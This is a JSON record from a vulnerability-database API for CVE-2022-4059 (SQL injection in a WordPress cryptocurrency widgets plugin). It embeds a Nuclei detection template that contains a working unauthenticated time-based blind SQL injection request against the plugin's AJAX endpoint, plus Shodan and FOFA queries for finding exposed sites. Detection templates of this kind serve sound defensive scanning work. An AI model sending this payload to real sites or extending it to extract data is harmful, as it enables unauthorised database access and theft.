{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-4059/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-4059/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-4059/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-4059/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-4059/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-4059/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-4059"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2022-4059"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-4059.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2022-4059\n\ninfo:\n  name: Cryptocurrency Widgets Pack < 2.0 - SQL Injection\n  author: r3Y3r53\n  severity: critical\n  description: |\n    The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.\n  impact: |\n    Unauthenticated attackers can execute time-based blind SQL injection through the columns[0][name] parameter in the mcwp_table AJAX action, potentially extracting sensitive database information including cryptocurrency data, user credentials, and plugin configuration.\n  remediation: |\n    Fixed in version 2.0\n  reference:\n    - https://wpscan.com/vulnerability/d94bb664-261a-4f3f-8cc3-a2db8230895d\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-4059\n    - https://github.com/cyllective/CVEs\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-4059\n    cwe-id: CWE-89\n    epss-score: 0.0509\n    epss-percentile: 0.92383\n    cpe: cpe:2.3:a:blocksera:cryptocurrency_widgets_pack:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: blocksera\n    product: cryptocurrency_widgets_pack\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/cryptocurrency-widgets-pack/\n    fofa-query: body=/wp-content/plugins/cryptocurrency-widgets-pack/\n    publicwww-query: /wp-content/plugins/cryptocurrency-widgets-pack/\n  tags: time-based-sqli,cve,cve2022,wp,wp-plugin,wordpress,wpscan,sqli,blocksera,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration_1>=7'\n          - 'len(body_1) == 0'\n          - 'status_code_1 == 302'\n          - 'contains(body_2, \"Cryptocurrency Widgets Pack\")'\n        condition: and\n# digest: 490a0046304402200f6f83ca096947d38616c44e8370515ceeb251e7b5cc19855f9ba9dfc6799b5a0220586b092a4dfa5dc464122356a96019b4e614bcc96c1c2d30d49c2ea10d981a8c:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-4059"
}